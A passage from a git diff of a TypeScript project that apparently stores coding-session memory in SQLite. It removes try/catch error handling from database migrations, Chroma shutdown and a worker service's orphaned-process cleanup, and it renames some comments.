old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); + INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) + VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); + END; + `); + + console.log('[SessionSearch] FTS5 tables created successfully'); } diff --git a/src/services/sqlite/SessionStore.ts b/src/services/sqlite/SessionStore.ts index f102015c..fe91a476 100644 --- a/src/services/sqlite/SessionStore.ts +++ b/src/services/sqlite/SessionStore.ts @@ -144,152 +144,140 @@ export class SessionStore { * Ensure worker_port column exists (migration 5) */ private ensureWorkerPortColumn(): void { - try { - // Check if migration already applied - const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(5) as SchemaVersion | undefined; - if (applied) return; + // Check if migration already applied + const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(5) as SchemaVersion | undefined; + if (applied) return; - // Check if column exists - const tableInfo = this.db.query('PRAGMA table_info(sdk_sessions)').all() as TableColumnInfo[]; - const hasWorkerPort = tableInfo.some(col => col.name === 'worker_port'); + // Check if column exists + const tableInfo = this.db.query('PRAGMA table_info(sdk_sessions)').all() as TableColumnInfo[]; + const hasWorkerPort = tableInfo.some(col => col.name === 'worker_port'); - if (!hasWorkerPort) { - this.db.run('ALTER TABLE sdk_sessions ADD COLUMN worker_port INTEGER'); - console.log('[SessionStore] Added worker_port column to sdk_sessions table'); - } - - // Record migration - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(5, new Date().toISOString()); - } catch (error: any) { - console.error('[SessionStore] Migration error:', error.message); + if (!hasWorkerPort) { + this.db.run('ALTER TABLE sdk_sessions ADD COLUMN worker_port INTEGER'); + console.log('[SessionStore] Added worker_port column to sdk_sessions table'); } + + // Record migration + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(5, new Date().toISOString()); } /** * Ensure prompt tracking columns exist (migration 6) */ private ensurePromptTrackingColumns(): void { - try { - // Check if migration already applied - const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(6) as SchemaVersion | undefined; - if (applied) return; + // Check if migration already applied + const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(6) as SchemaVersion | undefined; + if (applied) return; - // Check sdk_sessions for prompt_counter - const sessionsInfo = this.db.query('PRAGMA table_info(sdk_sessions)').all() as TableColumnInfo[]; - const hasPromptCounter = sessionsInfo.some(col => col.name === 'prompt_counter'); + // Check sdk_sessions for prompt_counter + const sessionsInfo = this.db.query('PRAGMA table_info(sdk_sessions)').all() as TableColumnInfo[]; + const hasPromptCounter = sessionsInfo.some(col => col.name === 'prompt_counter'); - if (!hasPromptCounter) { - this.db.run('ALTER TABLE sdk_sessions ADD COLUMN prompt_counter INTEGER DEFAULT 0'); - console.log('[SessionStore] Added prompt_counter column to sdk_sessions table'); - } - - // Check observations for prompt_number - const observationsInfo = this.db.query('PRAGMA table_info(observations)').all() as TableColumnInfo[]; - const obsHasPromptNumber = observationsInfo.some(col => col.name === 'prompt_number'); - - if (!obsHasPromptNumber) { - this.db.run('ALTER TABLE observations ADD COLUMN prompt_number INTEGER'); - console.log('[SessionStore] Added prompt_number column to observations table'); - } - - // Check session_summaries for prompt_number - const summariesInfo = this.db.query('PRAGMA table_info(session_summaries)').all() as TableColumnInfo[]; - const sumHasPromptNumber = summariesInfo.some(col => col.name === 'prompt_number'); - - if (!sumHasPromptNumber) { - this.db.run('ALTER TABLE session_summaries ADD COLUMN prompt_number INTEGER'); - console.log('[SessionStore] Added prompt_number column to session_summaries table'); - } - - // Record migration - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(6, new Date().toISOString()); - } catch (error: any) { - console.error('[SessionStore] Prompt tracking migration error:', error.message); + if (!hasPromptCounter) { + this.db.run('ALTER TABLE sdk_sessions ADD COLUMN prompt_counter INTEGER DEFAULT 0'); + console.log('[SessionStore] Added prompt_counter column to sdk_sessions table'); } + + // Check observations for prompt_number + const observationsInfo = this.db.query('PRAGMA table_info(observations)').all() as TableColumnInfo[]; + const obsHasPromptNumber = observationsInfo.some(col => col.name === 'prompt_number'); + + if (!obsHasPromptNumber) { + this.db.run('ALTER TABLE observations ADD COLUMN prompt_number INTEGER'); + console.log('[SessionStore] Added prompt_number column to observations table'); + } + + // Check session_summaries for prompt_number + const summariesInfo = this.db.query('PRAGMA table_info(session_summaries)').all() as TableColumnInfo[]; + const sumHasPromptNumber = summariesInfo.some(col => col.name === 'prompt_number'); + + if (!sumHasPromptNumber) { + this.db.run('ALTER TABLE session_summaries ADD COLUMN prompt_number INTEGER'); + console.log('[SessionStore] Added prompt_number column to session_summaries table'); + } + + // Record migration + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(6, new Date().toISOString()); } /** * Remove UNIQUE constraint from session_summaries.sdk_session_id (migration 7) */ private removeSessionSummariesUniqueConstraint(): void { + // Check if migration already applied + const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(7) as SchemaVersion | undefined; + if (applied) return; + + // Check if UNIQUE constraint exists + const summariesIndexes = this.db.query('PRAGMA index_list(session_summaries)').all() as IndexInfo[]; + const hasUniqueConstraint = summariesIndexes.some(idx => idx.unique === 1); + + if (!hasUniqueConstraint) { + // Already migrated (no constraint exists) + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(7, new Date().toISOString()); + return; + } + + console.log('[SessionStore] Removing UNIQUE constraint from session_summaries.sdk_session_id...'); + + // Begin transaction + this.db.run('BEGIN TRANSACTION'); + try { - // Check if migration already applied - const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(7) as SchemaVersion | undefined; - if (applied) return; + // Create new table without UNIQUE constraint + this.db.run(` + CREATE TABLE session_summaries_new ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + sdk_session_id TEXT NOT NULL, + project TEXT NOT NULL, + request TEXT, + investigated TEXT, + learned TEXT, + completed TEXT, + next_steps TEXT, + files_read TEXT, + files_edited TEXT, + notes TEXT, + prompt_number INTEGER, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE + ) + `); - // Check if UNIQUE constraint exists - const summariesIndexes = this.db.query('PRAGMA index_list(session_summaries)').all() as IndexInfo[]; - const hasUniqueConstraint = summariesIndexes.some(idx => idx.unique === 1); + // Copy data from old table + this.db.run(` + INSERT INTO session_summaries_new + SELECT id, sdk_session_id, project, request, investigated, learned, + completed, next_steps, files_read, files_edited, notes, + prompt_number, created_at, created_at_epoch + FROM session_summaries + `); - if (!hasUniqueConstraint) { - // Already migrated (no constraint exists) - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(7, new Date().toISOString()); - return; - } + // Drop old table + this.db.run('DROP TABLE session_summaries'); - console.log('[SessionStore] Removing UNIQUE constraint from session_summaries.sdk_session_id...'); + // Rename new table + this.db.run('ALTER TABLE session_summaries_new RENAME TO session_summaries'); - // Begin transaction - this.db.run('BEGIN TRANSACTION'); + // Recreate indexes + this.db.run(` + CREATE INDEX idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); + CREATE INDEX idx_session_summaries_project ON session_summaries(project); + CREATE INDEX idx_session_summaries_created ON session_summaries(created_at_epoch DESC); + `); - try { - // Create new table without UNIQUE constraint - this.db.run(` - CREATE TABLE session_summaries_new ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - sdk_session_id TEXT NOT NULL, - project TEXT NOT NULL, - request TEXT, - investigated TEXT, - learned TEXT, - completed TEXT, - next_steps TEXT, - files_read TEXT, - files_edited TEXT, - notes TEXT, - prompt_number INTEGER, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE - ) - `); + // Commit transaction + this.db.run('COMMIT'); - // Copy data from old table - this.db.run(` - INSERT INTO session_summaries_new - SELECT id, sdk_session_id, project, request, investigated, learned, - completed, next_steps, files_read, files_edited, notes, - prompt_number, created_at, created_at_epoch - FROM session_summaries - `); + // Record migration + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(7, new Date().toISOString()); - // Drop old table - this.db.run('DROP TABLE session_summaries'); - - // Rename new table - this.db.run('ALTER TABLE session_summaries_new RENAME TO session_summaries'); - - // Recreate indexes - this.db.run(` - CREATE INDEX idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); - CREATE INDEX idx_session_summaries_project ON session_summaries(project); - CREATE INDEX idx_session_summaries_created ON session_summaries(created_at_epoch DESC); - `); - - // Commit transaction - this.db.run('COMMIT'); - - // Record migration - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(7, new Date().toISOString()); - - console.log('[SessionStore] Successfully removed UNIQUE constraint from session_summaries.sdk_session_id'); - } catch (error: any) { - // Rollback on error - this.db.run('ROLLBACK'); - throw error; - } + console.log('[SessionStore] Successfully removed UNIQUE constraint from session_summaries.sdk_session_id'); } catch (error: any) { - console.error('[SessionStore] Migration error (remove UNIQUE constraint):', error.message); + // Rollback on error + this.db.run('ROLLBACK'); + throw error; } } @@ -297,41 +285,37 @@ export class SessionStore { * Add hierarchical fields to observations table (migration 8) */ private addObservationHierarchicalFields(): void { - try { - // Check if migration already applied - const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(8) as SchemaVersion | undefined; - if (applied) return; + // Check if migration already applied + const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(8) as SchemaVersion | undefined; + if (applied) return; - // Check if new fields already exist - const tableInfo = this.db.query('PRAGMA table_info(observations)').all() as TableColumnInfo[]; - const hasTitle = tableInfo.some(col => col.name === 'title'); + // Check if new fields already exist + const tableInfo = this.db.query('PRAGMA table_info(observations)').all() as TableColumnInfo[]; + const hasTitle = tableInfo.some(col => col.name === 'title'); - if (hasTitle) { - // Already migrated - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(8, new Date().toISOString()); - return; - } - - console.log('[SessionStore] Adding hierarchical fields to observations table...'); - - // Add new columns - this.db.run(` - ALTER TABLE observations ADD COLUMN title TEXT; - ALTER TABLE observations ADD COLUMN subtitle TEXT; - ALTER TABLE observations ADD COLUMN facts TEXT; - ALTER TABLE observations ADD COLUMN narrative TEXT; - ALTER TABLE observations ADD COLUMN concepts TEXT; - ALTER TABLE observations ADD COLUMN files_read TEXT; - ALTER TABLE observations ADD COLUMN files_modified TEXT; - `); - - // Record migration + if (hasTitle) { + // Already migrated this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(8, new Date().toISOString()); - - console.log('[SessionStore] Successfully added hierarchical fields to observations table'); - } catch (error: any) { - console.error('[SessionStore] Migration error (add hierarchical fields):', error.message); + return; } + + console.log('[SessionStore] Adding hierarchical fields to observations table...'); + + // Add new columns + this.db.run(` + ALTER TABLE observations ADD COLUMN title TEXT; + ALTER TABLE observations ADD COLUMN subtitle TEXT; + ALTER TABLE observations ADD COLUMN facts TEXT; + ALTER TABLE observations ADD COLUMN narrative TEXT; + ALTER TABLE observations ADD COLUMN concepts TEXT; + ALTER TABLE observations ADD COLUMN files_read TEXT; + ALTER TABLE observations ADD COLUMN files_modified TEXT; + `); + + // Record migration + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(8, new Date().toISOString()); + + console.log('[SessionStore] Successfully added hierarchical fields to observations table'); } /** @@ -339,86 +323,82 @@ export class SessionStore { * The text field is deprecated in favor of structured fields (title, subtitle, narrative, etc.) */ private makeObservationsTextNullable(): void { + // Check if migration already applied + const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(9) as SchemaVersion | undefined; + if (applied) return; + + // Check if text column is already nullable + const tableInfo = this.db.query('PRAGMA table_info(observations)').all() as TableColumnInfo[]; + const textColumn = tableInfo.find(col => col.name === 'text'); + + if (!textColumn || textColumn.notnull === 0) { + // Already migrated or text column doesn't exist + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(9, new Date().toISOString()); + return; + } + + console.log('[SessionStore] Making observations.text nullable...'); + + // Begin transaction + this.db.run('BEGIN TRANSACTION'); + try { - // Check if migration already applied - const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(9) as SchemaVersion | undefined; - if (applied) return; + // Create new table with text as nullable + this.db.run(` + CREATE TABLE observations_new ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + sdk_session_id TEXT NOT NULL, + project TEXT NOT NULL, + text TEXT, + type TEXT NOT NULL CHECK(type IN ('decision', 'bugfix', 'feature', 'refactor', 'discovery', 'change')), + title TEXT, + subtitle TEXT, + facts TEXT, + narrative TEXT, + concepts TEXT, + files_read TEXT, + files_modified TEXT, + prompt_number INTEGER, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE + ) + `); - // Check if text column is already nullable - const tableInfo = this.db.query('PRAGMA table_info(observations)').all() as TableColumnInfo[]; - const textColumn = tableInfo.find(col => col.name === 'text'); + // Copy data from old table (all existing columns) + this.db.run(` + INSERT INTO observations_new + SELECT id, sdk_session_id, project, text, type, title, subtitle, facts, + narrative, concepts, files_read, files_modified, prompt_number, + created_at, created_at_epoch + FROM observations + `); - if (!textColumn || textColumn.notnull === 0) { - // Already migrated or text column doesn't exist - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(9, new Date().toISOString()); - return; - } + // Drop old table + this.db.run('DROP TABLE observations'); - console.log('[SessionStore] Making observations.text nullable...'); + // Rename new table + this.db.run('ALTER TABLE observations_new RENAME TO observations'); - // Begin transaction - this.db.run('BEGIN TRANSACTION'); + // Recreate indexes + this.db.run(` + CREATE INDEX idx_observations_sdk_session ON observations(sdk_session_id); + CREATE INDEX idx_observations_project ON observations(project); + CREATE INDEX idx_observations_type ON observations(type); + CREATE INDEX idx_observations_created ON observations(created_at_epoch DESC); + `); - try { - // Create new table with text as nullable - this.db.run(` - CREATE TABLE observations_new ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - sdk_session_id TEXT NOT NULL, - project TEXT NOT NULL, - text TEXT, - type TEXT NOT NULL CHECK(type IN ('decision', 'bugfix', 'feature', 'refactor', 'discovery', 'change')), - title TEXT, - subtitle TEXT, - facts TEXT, - narrative TEXT, - concepts TEXT, - files_read TEXT, - files_modified TEXT, - prompt_number INTEGER, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE - ) - `); + // Commit transaction + this.db.run('COMMIT'); - // Copy data from old table (all existing columns) - this.db.run(` - INSERT INTO observations_new - SELECT id, sdk_session_id, project, text, type, title, subtitle, facts, - narrative, concepts, files_read, files_modified, prompt_number, - created_at, created_at_epoch - FROM observations - `); + // Record migration + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(9, new Date().toISOString()); - // Drop old table - this.db.run('DROP TABLE observations'); - - // Rename new table - this.db.run('ALTER TABLE observations_new RENAME TO observations'); - - // Recreate indexes - this.db.run(` - CREATE INDEX idx_observations_sdk_session ON observations(sdk_session_id); - CREATE INDEX idx_observations_project ON observations(project); - CREATE INDEX idx_observations_type ON observations(type); - CREATE INDEX idx_observations_created ON observations(created_at_epoch DESC); - `); - - // Commit transaction - this.db.run('COMMIT'); - - // Record migration - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(9, new Date().toISOString()); - - console.log('[SessionStore] Successfully made observations.text nullable'); - } catch (error: any) { - // Rollback on error - this.db.run('ROLLBACK'); - throw error; - } + console.log('[SessionStore] Successfully made observations.text nullable'); } catch (error: any) { - console.error('[SessionStore] Migration error (make text nullable):', error.message); + // Rollback on error + this.db.run('ROLLBACK'); + throw error; } } @@ -426,86 +406,82 @@ export class SessionStore { * Create user_prompts table with FTS5 support (migration 10) */ private createUserPromptsTable(): void { + // Check if migration already applied + const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(10) as SchemaVersion | undefined; + if (applied) return; + + // Check if table already exists + const tableInfo = this.db.query('PRAGMA table_info(user_prompts)').all() as TableColumnInfo[]; + if (tableInfo.length > 0) { + // Already migrated + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(10, new Date().toISOString()); + return; + } + + console.log('[SessionStore] Creating user_prompts table with FTS5 support...'); + + // Begin transaction + this.db.run('BEGIN TRANSACTION'); + try { - // Check if migration already applied - const applied = this.db.prepare('SELECT version FROM schema_versions WHERE version = ?').get(10) as SchemaVersion | undefined; - if (applied) return; + // Create main table (using claude_session_id since sdk_session_id is set asynchronously by worker) + this.db.run(` + CREATE TABLE user_prompts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + claude_session_id TEXT NOT NULL, + prompt_number INTEGER NOT NULL, + prompt_text TEXT NOT NULL, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(claude_session_id) REFERENCES sdk_sessions(claude_session_id) ON DELETE CASCADE + ); - // Check if table already exists - const tableInfo = this.db.query('PRAGMA table_info(user_prompts)').all() as TableColumnInfo[]; - if (tableInfo.length > 0) { - // Already migrated - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(10, new Date().toISOString()); - return; - } + CREATE INDEX idx_user_prompts_claude_session ON user_prompts(claude_session_id); + CREATE INDEX idx_user_prompts_created ON user_prompts(created_at_epoch DESC); + CREATE INDEX idx_user_prompts_prompt_number ON user_prompts(prompt_number); + CREATE INDEX idx_user_prompts_lookup ON user_prompts(claude_session_id, prompt_number); + `); - console.log('[SessionStore] Creating user_prompts table with FTS5 support...'); + // Create FTS5 virtual table + this.db.run(` + CREATE VIRTUAL TABLE user_prompts_fts USING fts5( + prompt_text, + content='user_prompts', + content_rowid='id' + ); + `); - // Begin transaction - this.db.run('BEGIN TRANSACTION'); + // Create triggers to sync FTS5 + this.db.run(` + CREATE TRIGGER user_prompts_ai AFTER INSERT ON user_prompts BEGIN + INSERT INTO user_prompts_fts(rowid, prompt_text) + VALUES (new.id, new.prompt_text); + END; - try { - // Create main table (using claude_session_id since sdk_session_id is set asynchronously by worker) - this.db.run(` - CREATE TABLE user_prompts ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - claude_session_id TEXT NOT NULL, - prompt_number INTEGER NOT NULL, - prompt_text TEXT NOT NULL, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(claude_session_id) REFERENCES sdk_sessions(claude_session_id) ON DELETE CASCADE - ); + CREATE TRIGGER user_prompts_ad AFTER DELETE ON user_prompts BEGIN + INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) + VALUES('delete', old.id, old.prompt_text); + END; - CREATE INDEX idx_user_prompts_claude_session ON user_prompts(claude_session_id); - CREATE INDEX idx_user_prompts_created ON user_prompts(created_at_epoch DESC); - CREATE INDEX idx_user_prompts_prompt_number ON user_prompts(prompt_number); - CREATE INDEX idx_user_prompts_lookup ON user_prompts(claude_session_id, prompt_number); - `); + CREATE TRIGGER user_prompts_au AFTER UPDATE ON user_prompts BEGIN + INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) + VALUES('delete', old.id, old.prompt_text); + INSERT INTO user_prompts_fts(rowid, prompt_text) + VALUES (new.id, new.prompt_text); + END; + `); - // Create FTS5 virtual table - this.db.run(` - CREATE VIRTUAL TABLE user_prompts_fts USING fts5( - prompt_text, - content='user_prompts', - content_rowid='id' - ); - `); + // Commit transaction + this.db.run('COMMIT'); - // Create triggers to sync FTS5 - this.db.run(` - CREATE TRIGGER user_prompts_ai AFTER INSERT ON user_prompts BEGIN - INSERT INTO user_prompts_fts(rowid, prompt_text) - VALUES (new.id, new.prompt_text); - END; + // Record migration + this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(10, new Date().toISOString()); - CREATE TRIGGER user_prompts_ad AFTER DELETE ON user_prompts BEGIN - INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) - VALUES('delete', old.id, old.prompt_text); - END; - - CREATE TRIGGER user_prompts_au AFTER UPDATE ON user_prompts BEGIN - INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) - VALUES('delete', old.id, old.prompt_text); - INSERT INTO user_prompts_fts(rowid, prompt_text) - VALUES (new.id, new.prompt_text); - END; - `); - - // Commit transaction - this.db.run('COMMIT'); - - // Record migration - this.db.prepare('INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)').run(10, new Date().toISOString()); - - console.log('[SessionStore] Successfully created user_prompts table with FTS5 support'); - } catch (error: any) { - // Rollback on error - this.db.run('ROLLBACK'); - throw error; - } + console.log('[SessionStore] Successfully created user_prompts table with FTS5 support'); } catch (error: any) { - console.error('[SessionStore] Migration error (create user_prompts table):', error.message); + // Rollback on error + this.db.run('ROLLBACK'); + throw error; } } @@ -990,25 +966,17 @@ export class SessionStore { for (const row of rows) { // Parse files_read if (row.files_read) { - try { - const files = JSON.parse(row.files_read); - if (Array.isArray(files)) { - files.forEach(f => filesReadSet.add(f)); - } - } catch { - // Skip invalid JSON + const files = JSON.parse(row.files_read); + if (Array.isArray(files)) { + files.forEach(f => filesReadSet.add(f)); } } // Parse files_modified if (row.files_modified) { - try { - const files = JSON.parse(row.files_modified); - if (Array.isArray(files)) { - files.forEach(f => filesModifiedSet.add(f)); - } - } catch { - // Skip invalid JSON + const files = JSON.parse(row.files_modified); + if (Array.isArray(files)) { + files.forEach(f => filesModifiedSet.add(f)); } } } diff --git a/src/services/sqlite/migrations.ts b/src/services/sqlite/migrations.ts index 7101b4a2..1c9aa97b 100644 --- a/src/services/sqlite/migrations.ts +++ b/src/services/sqlite/migrations.ts @@ -495,6 +495,7 @@ export const migration007: Migration = { } }; + /** * All migrations in order */ diff --git a/src/services/sync/ChromaSync.ts b/src/services/sync/ChromaSync.ts index c3fff2d7..a47477e8 100644 --- a/src/services/sync/ChromaSync.ts +++ b/src/services/sync/ChromaSync.ts @@ -847,31 +847,21 @@ export class ChromaSync { return; } - try { - // Close client first - if (this.client) { - try { - await this.client.close(); - } catch (error) { - logger.warn('CHROMA_SYNC', 'Error closing Chroma client', { project: this.project }, error as Error); - } - } - - // Explicitly close transport to kill subprocess - if (this.transport) { - try { - await this.transport.close(); - } catch (error) { - logger.warn('CHROMA_SYNC', 'Error closing transport', { project: this.project }, error as Error); - } - } - - logger.info('CHROMA_SYNC', 'Chroma client and subprocess closed', { project: this.project }); - } finally { - // Always reset state, even if errors occurred - this.connected = false; - this.client = null; - this.transport = null; + // Close client first + if (this.client) { + await this.client.close(); } + + // Explicitly close transport to kill subprocess + if (this.transport) { + await this.transport.close(); + } + + logger.info('CHROMA_SYNC', 'Chroma client and subprocess closed', { project: this.project }); + + // Always reset state + this.connected = false; + this.client = null; + this.transport = null; } } diff --git a/src/services/worker-service.ts b/src/services/worker-service.ts index 4ac0e509..64f313f6 100644 --- a/src/services/worker-service.ts +++ b/src/services/worker-service.ts @@ -2,7 +2,7 @@ * Worker Service - Slim Orchestrator * * Refactored from 2000-line monolith to ~150-line orchestrator. - * Routes organized by domain in http/routes/*.ts + * Routes organized by feature area in http/routes/*.ts * See src/services/worker/README.md for architecture details. */ @@ -19,7 +19,7 @@ import { promisify } from 'util'; const execAsync = promisify(exec); -// Import composed domain services +// Import composed service layer import { DatabaseManager } from './worker/DatabaseManager.js'; import { SessionManager } from './worker/SessionManager.js'; import { SSEBroadcaster } from './worker/SSEBroadcaster.js'; @@ -49,7 +49,7 @@ export class WorkerService { private mcpReady: boolean = false; private initializationCompleteFlag: boolean = false; - // Domain services + // Service layer private dbManager: DatabaseManager; private sessionManager: SessionManager; private sseBroadcaster: SSEBroadcaster; @@ -77,7 +77,7 @@ export class WorkerService { this.resolveInitialization = resolve; }); - // Initialize domain services + // Initialize service layer this.dbManager = new DatabaseManager(); this.sessionManager = new SessionManager(this.dbManager); this.sseBroadcaster = new SSEBroadcaster(); @@ -160,19 +160,9 @@ export class WorkerService { const marketplaceRoot = path.join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack'); const packageJsonPath = path.join(marketplaceRoot, 'package.json'); - try { - // Read version from marketplace package.json - const packageJson = JSON.parse(readFileSync(packageJsonPath, 'utf-8')); - res.status(200).json({ version: packageJson.version }); - } catch (error) { - logger.error('SYSTEM', 'Failed to read version', { - packagePath: packageJsonPath - }, error as Error); - res.status(500).json({ - error: 'Failed to read version', - path: packageJsonPath - }); - } + // Read version from marketplace package.json + const packageJson = JSON.parse(readFileSync(packageJsonPath, 'utf-8')); + res.status(200).json({ version: packageJson.version }); }); // Instructions endpoint - loads SKILL.md sections on-demand for progressive instruction loading @@ -326,83 +316,74 @@ export class WorkerService { * Prevents process accumulation and memory leaks */ private async cleanupOrphanedProcesses(): Promise { - try { - const isWindows = process.platform === 'win32'; - const pids: number[] = []; + const isWindows = process.platform === 'win32'; + const pids: number[] = []; - if (isWindows) { - // Windows: Use PowerShell Get-CimInstance to find chroma-mcp processes - const cmd = `powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.Name -like '*python*' -and $_.CommandLine -like '*chroma-mcp*' } | Select-Object -ExpandProperty ProcessId"`; - const { stdout } = await execAsync(cmd, { timeout: 5000 }); + if (isWindows) { + // Windows: Use PowerShell Get-CimInstance to find chroma-mcp processes + const cmd = `powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.Name -like '*python*' -and $_.CommandLine -like '*chroma-mcp*' } | Select-Object -ExpandProperty ProcessId"`; + const { stdout } = await execAsync(cmd, { timeout: 5000 }); - if (!stdout.trim()) { - logger.debug('SYSTEM', 'No orphaned chroma-mcp processes found (Windows)'); - return; + if (!stdout.trim()) { + logger.debug('SYSTEM', 'No orphaned chroma-mcp processes found (Windows)'); + return; + } + + const pidStrings = stdout.trim().split('\n'); + for (const pidStr of pidStrings) { + const pid = parseInt(pidStr.trim(), 10); + // SECURITY: Validate PID is positive integer before adding to list + if (!isNaN(pid) && Number.isInteger(pid) && pid > 0) { + pids.push(pid); } + } + } else { + // Unix: Use ps aux | grep + const { stdout } = await execAsync('ps aux | grep "chroma-mcp" | grep -v grep || true'); - const pidStrings = stdout.trim().split('\n'); - for (const pidStr of pidStrings) { - const pid = parseInt(pidStr.trim(), 10); + if (!stdout.trim()) { + logger.debug('SYSTEM', 'No orphaned chroma-mcp processes found (Unix)'); + return; + } + + const lines = stdout.trim().split('\n'); + for (const line of lines) { + const parts = line.trim().split(/\s+/); + if (parts.length > 1) { + const pid = parseInt(parts[1], 10); // SECURITY: Validate PID is positive integer before adding to list if (!isNaN(pid) && Number.isInteger(pid) && pid > 0) { pids.push(pid); } } - } else { - // Unix: Use ps aux | grep - const { stdout } = await execAsync('ps aux | grep "chroma-mcp" | grep -v grep || true'); - - if (!stdout.trim()) { - logger.debug('SYSTEM', 'No orphaned chroma-mcp processes found (Unix)'); - return; - } - - const lines = stdout.trim().split('\n'); - for (const line of lines) { - const parts = line.trim().split(/\s+/); - if (parts.length > 1) { - const pid = parseInt(parts[1], 10); - // SECURITY: Validate PID is positive integer before adding to list - if (!isNaN(pid) && Number.isInteger(pid) && pid > 0) { - pids.push(pid); - } - } - } } - - if (pids.length === 0) { - return; - } - - logger.info('SYSTEM', 'Cleaning up orphaned chroma-mcp processes', { - platform: isWindows ? 'Windows' : 'Unix', - count: pids.length, - pids - }); - - // Kill all found processes - if (isWindows) { - for (const pid of pids) { - // SECURITY: Double-check PID validation before using in taskkill command - if (!Number.isInteger(pid) || pid <= 0) { - logger.warn('SYSTEM', 'Skipping invalid PID', { pid }); - continue; - } - try { - execSync(`taskkill /PID ${pid} /T /F`, { timeout: 5000, stdio: 'ignore' }); - } catch (error) { - logger.warn('SYSTEM', 'Failed to kill orphaned process', { pid }, error as Error); - } - } - } else { - await execAsync(`kill ${pids.join(' ')}`); - } - - logger.info('SYSTEM', 'Orphaned processes cleaned up', { count: pids.length }); - } catch (error) { - // Non-fatal - log and continue - logger.warn('SYSTEM', 'Failed to cleanup orphaned processes', {}, error as Error); } + + if (pids.length === 0) { + return; + } + + logger.info('SYSTEM', 'Cleaning up orphaned chroma-mcp processes', { + platform: isWindows ? 'Windows' : 'Unix', + count: pids.length, + pids + }); + + // Kill all found processes + if (isWindows) { + for (const pid of pids) { + // SECURITY: Double-check PID validation before using in taskkill command + if (!Number.isInteger(pid) || pid <= 0) { + logger.warn('SYSTEM', 'Skipping invalid PID', { pid }); + continue; + } + execSync(`taskkill /PID ${pid} /T /F`, { timeout: 5000, stdio: 'ignore' }); + } + } else { + await execAsync(`kill ${pids.join(' ')}`); + } + + logger.info('SYSTEM', 'Orphaned processes cleaned up', { count: pids.length }); } /** @@ -433,6 +414,16 @@ export class WorkerService { // Clean up any orphaned chroma-mcp processes BEFORE starting our own await this.cleanupOrphanedProcesses(); + // Load mode configuration (must happen before database to set observation types) + const { ModeManager } = await import('./domain/ModeManager.js'); + const { SettingsDefaultsManager } = await import('../shared/SettingsDefaultsManager.js'); + const { USER_SETTINGS_PATH } = await import('../shared/paths.js'); + + const settings = 